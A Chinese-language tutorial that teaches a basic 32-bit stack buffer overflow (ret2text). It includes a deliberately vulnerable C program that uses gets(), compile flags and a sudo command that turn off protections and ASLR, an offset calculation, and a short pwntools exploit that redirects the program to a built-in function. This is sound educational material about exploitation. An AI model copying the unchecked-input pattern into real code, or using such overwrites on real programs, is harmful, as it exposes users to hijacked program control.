栈溢出
阅读复现本篇请先拥有 Linux 操作系统前置知识。
[前置知识之Linux操作系统]
栈溢出
栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身所申请的空间,从而导致与其相邻的栈中数据被覆盖。
这是一种典型的缓冲区溢出漏洞,类似的还有堆溢出、BSS 段溢出等。
栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序的执行流程。
发生栈溢出的基本前提通常有:
- 程序向栈上的缓冲区写入数据;
- 写入数据的长度没有得到正确限制;
- 写入的数据最终超过了缓冲区原本的大小。
基本示例
下面使用一个非常简单的程序观察栈溢出的过程:
#include <stdio.h>
#include <string.h>
void success(void)
{
puts("You Hava already controlled it.");
}
void vulnerable(void)
{
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv)
{
vulnerable();
return 0;
}
这个程序本身的逻辑非常简单。
首先进入:
vulnerable()
然后使用:
gets(s);
读取用户输入,最后:
puts(s);
将输入内容输出。
这里最大的问题就是:
gets()
不会检查输入数据长度。
也就是说,不管:
char s[12];
只申请了多少空间,gets() 都会一直向后写入数据,直到读取到换行符。
因此,只要输入足够长,就有可能覆盖栈上的其他内容。
编译程序
这里使用 32 位程序进行演示。
gcc -m32 -fno-stack-protector -no-pie overflow.c -o stack_example -std=gnu99
其中:
-m32
表示生成 32 位程序。
-fno-stack-protector
表示关闭 Stack Protector,也就是不使用 Stack Canary。
-no-pie
表示关闭 PIE。
为了方便观察最基础的栈溢出过程,我们暂时关闭这些保护,使程序代码地址保持固定。
编译时一般还能看到类似警告:
warning: the `gets' function is dangerous and should not be used.
这也是因为 gets() 本身无法限制输入长度,因此属于非常危险的函数。
checksec
编译完成以后,可以使用:
checksec --file=./stack_example
检查程序开启了哪些保护。
这里主要关注:
Canary
NX
PIE
RELRO
为了完成这次最基础的实验,我们希望看到类似:
Canary: No canary found
PIE: No PIE
这样后面分析时,程序中的函数地址不会因为 PIE 而发生变化。
ASLR
Linux 系统还存在:
ASLR
即:
Address Space Layout Randomization
地址空间布局随机化。
它会随机化进程中的栈、堆以及动态库等区域的地址,从而增加漏洞利用的难度。
可以查看当前系统的 ASLR 状态:
cat /proc/sys/kernel/randomize_va_space
一般可能出现:
0
1
2
其中:
0
表示关闭地址随机化。
1
表示开启基本随机化。
2
表示开启更完整的随机化。
在实验环境中,为了方便观察程序运行过程,可以临时关闭 ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
实验结束以后可以重新开启:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
这里只是为了理解最基本的栈溢出原理。
分析程序
接下来使用 IDA 对程序进行静态分析。
进入:
vulnerable
函数,可以看到局部变量 s 位于栈上。
假设 IDA 显示:
s = byte ptr -14h
说明 s 的起始位置距离:
ebp
为:
0x14
字节。
栈结构大致可以表示成:
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
函数调用过程中,栈上除了局部变量以外,还保存有:
saved ebp
以及:
return address
函数执行结束以后,CPU 会根据栈中保存的返回地址回到调用者继续执行。
那么如果我们能够通过栈溢出覆盖这个:
return address
理论上就可以让程序跳转到我们指定的位置。
success 函数
程序中还存在一个:
void success(void)
{
puts("You Hava already controlled it.");
}
正常程序流程不会主动调用这个函数。
我们的目标就是利用栈溢出,把:
vulnerable()
的返回地址修改成:
success()
的地址。
通过 IDA 或:
objdump -d ./stack_example
可以找到 success 函数地址。
例如:
0x08049176
那么目标就变成:
return address
↓
0x08049176
计算偏移
前面已经知道:
s -> ebp
之间的距离为:
0x14
也就是:
20
字节。
而 32 位程序中的 saved ebp 占:
4
字节。
所以从:
s
开始,到:
return address
之间一共需要:
0x14 + 4
也就是:
24
字节。
因此 payload 的结构可以写成:
20 bytes padding
+
4 bytes saved ebp
+
success address
例如:
aaaaaaaaaaaaaaaaaaaa
bbbb
success_addr
当 gets() 不断向后写入数据时:
aaaaaaaaaaaaaaaaaaaa
首先覆盖局部变量区域。
然后:
bbbb
覆盖:
saved ebp
最后继续写入:
success_addr
覆盖函数原本的返回地址。
覆盖以后,栈大致变成:
+-----------------+
| 0x08049176 |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
等到:
vulnerable()
执行结束,程序取出返回地址时,得到的已经不再是原本的位置,而是:
0x08049176
因此程序会直接跳转到:
success()
执行。
小端序
这里还存在一个问题。
x86 使用:
Little Endian
也就是小端序。
假设地址为:
0x08049176
那么实际写入内存的顺序应该是:
\x76\x91\x04\x08
也就是说,低位字节会先存储。
因此不能简单地把字符串:
0x08049176
输入程序。
我们需要构造真正对应这个地址的二进制数据。
这时候就可以使用:
pwntools
使用 pwntools
可以编写 exploit:
# coding=utf8
from pwn import *
sh = process('./stack_example')
success_addr = 0x08049176
payload = 'a' * 0x14
payload += 'bbbb'
payload += p32(success_addr)
print(p32(success_addr))
sh.sendline(payload)
sh.interactive()
其中:
p32(success_addr)
会自动将:
0x08049176
转换成 32 位小端序数据:
\x76\x91\x04\x08
因此整个 payload 实际结构就是:
aaaaaaaaaaaaaaaaaaaa
bbbb
\x76\x91\x04\x08
也就是:
20 bytes
+
4 bytes
+
4 bytes
执行 exploit 后,如果栈布局和地址正确,就能够看到:
You Hava already controlled it.
说明:
return address
已经成功被覆盖。
程序执行流程从:
vulnerable()
被转移到了:
success()
使用 cyclic 计算偏移
除了直接根据 IDA 中的栈变量计算偏移,也可以使用 pwntools 自带的:
cyclic
自动寻找覆盖位置。
例如生成:
cyclic 100
得到一串特殊排列的数据。
把它输入程序以后,如果程序发生崩溃,可以观察:
EIP
被覆盖成了什么值。
假设:
EIP = 0x61616167
那么可以使用:
cyclic -l 0x61616167
计算它在 cyclic 字符串中的位置。
这样就可以得到:
offset
从而知道:
buffer
↓
return address
之间究竟有多少字节。
实际做题时,这种方式一般比手工数偏移更方便。
为什么可以控制程序
整个利用过程最核心的地方其实只有一点:
正常情况下:
function call
↓
save return address
↓
execute function
↓
ret
↓
return to caller
发生栈溢出以后:
function call
↓
save return address
↓
buffer overflow
↓
overwrite return address
↓
ret
↓
jump to attacker-controlled address
因此:
栈溢出
真正有价值的地方并不是单纯让程序崩溃,而是:
控制程序执行流
一旦可以稳定控制:
EIP
后面就可以继续研究更复杂的利用方式。
后续
这个例子只是最基础的:
ret2text
也就是把返回地址直接修改成程序本身已有函数的地址。
后续还会涉及:
ret2shellcode
ROP
ret2libc
等利用方式。
但是它们都有同一个基础:
找到漏洞
↓
确定偏移
↓
覆盖返回地址
↓
控制程序执行流
只不过在真正的程序中,还会面对:
NX
Canary
PIE
ASLR
RELRO
等各种保护机制。
这些保护机制会使攻击方式逐渐复杂,也就需要进一步使用 ROP 等技术绕过。
总结
最基础的栈溢出利用流程可以总结成:
发现不安全输入函数
↓
确认存在栈溢出
↓
分析栈结构
↓
计算返回地址偏移
↓
寻找目标地址
↓
构造 payload
↓
覆盖 saved ebp
↓
覆盖 return address
↓
控制程序执行流程
在这个例子中:
gets()
提供了不受限制的写入能力。
而:
success()
提供了一个方便观察程序控制流是否被改变的目标。
最终我们通过:
padding + saved ebp + success address
完成了最基础的栈溢出利用。
后面的 ROP,本质上就是在:
已经能够控制返回地址
这一能力之上,进一步构造更加复杂的程序执行流程。











这一切,似未曾拥有